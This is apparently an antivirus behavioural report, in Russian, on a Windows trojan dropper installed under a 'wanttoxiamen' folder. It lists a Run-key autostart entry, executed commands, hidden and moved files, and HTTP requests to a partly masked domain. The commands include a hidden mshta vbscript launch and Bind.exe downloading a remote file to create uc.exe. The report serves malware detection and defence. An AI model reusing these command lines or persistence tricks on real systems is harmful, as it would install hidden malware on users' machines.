Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'app' = '%ProgramFiles%\wanttoxiamen\uc.exe'
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%ProgramFiles%\wanttoxiamen\1.bat" h"
- '<SYSTEM32>\mshta.exe' vbscript:createobject("wscript.shell").run("1.bat h",0)(window.close)
- '%ProgramFiles%\wanttoxiamen\111.exe' x "%ProgramFiles%\wanttoxiamen\data.txt" -o"%ProgramFiles%\wanttoxiamen\" -y
- '<SYSTEM32>\chcp.com' 936
- '%TEMP%\is-0CK0O.tmp\setup.tmp' /SL5="$40036,596193,123392,%TEMP%\setup.exe" /VERYSILENT /SP-
- '%TEMP%\setup.exe' /VERYSILENT /SP-
- '%ProgramFiles%\wanttoxiamen\Bind.exe' -u=http://www.vi###ngluo.com/uc222.txt -n=uc.exe
- '<SYSTEM32>\cmd.exe' /C ""%ProgramFiles%\wanttoxiamen\1.bat""
Изменения в файловой системе:
Создает следующие файлы:
- %ALLUSERSPROFILE%\Start Menu\Programs\wanttoxiamen\my application.lnk
- %ProgramFiles%\wanttoxiamen\is-GGCLJ.tmp
- %ProgramFiles%\wanttoxiamen\is-7DIKH.tmp
- %ProgramFiles%\wanttoxiamen\uc.exe
- %ProgramFiles%\wanttoxiamen\wanttoxiamen.ini
- %ProgramFiles%\wanttoxiamen\unins000.dat
- %ProgramFiles%\wanttoxiamen\is-8F77K.tmp
- %TEMP%\is-0CK0O.tmp\setup.tmp
- %TEMP%\setup.exe
- %ProgramFiles%\wanttoxiamen\is-AIR8V.tmp
- %ProgramFiles%\wanttoxiamen\is-CP9MA.tmp
- %ProgramFiles%\wanttoxiamen\is-IQVE1.tmp
Присваивает атрибут 'скрытый' для следующих файлов:
- %ProgramFiles%\wanttoxiamen\data.txt
- %ProgramFiles%\wanttoxiamen\1.bat
- %ProgramFiles%\wanttoxiamen\7z.dll
- %ProgramFiles%\wanttoxiamen\Bind.exe
- %ProgramFiles%\wanttoxiamen\111.exe
Удаляет следующие файлы:
- %TEMP%\is-0CK0O.tmp\setup.tmp
Перемещает следующие файлы:
- %ProgramFiles%\wanttoxiamen\is-AIR8V.tmp в %ProgramFiles%\wanttoxiamen\7z.dll
- %ProgramFiles%\wanttoxiamen\is-7DIKH.tmp в %ProgramFiles%\wanttoxiamen\data.txt
- %ProgramFiles%\wanttoxiamen\is-GGCLJ.tmp в %ProgramFiles%\wanttoxiamen\1.bat
- %ProgramFiles%\wanttoxiamen\is-8F77K.tmp в %ProgramFiles%\wanttoxiamen\unins000.exe
- %ProgramFiles%\wanttoxiamen\is-IQVE1.tmp в %ProgramFiles%\wanttoxiamen\Bind.exe
- %ProgramFiles%\wanttoxiamen\is-CP9MA.tmp в %ProgramFiles%\wanttoxiamen\111.exe
Сетевая активность:
Подключается к:
- 'www.vi###ngluo.com':80
TCP:
Запросы HTTP GET:
- http://www.vi###ngluo.com/uc222.txt
UDP:
- DNS ASK www.vi###ngluo.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
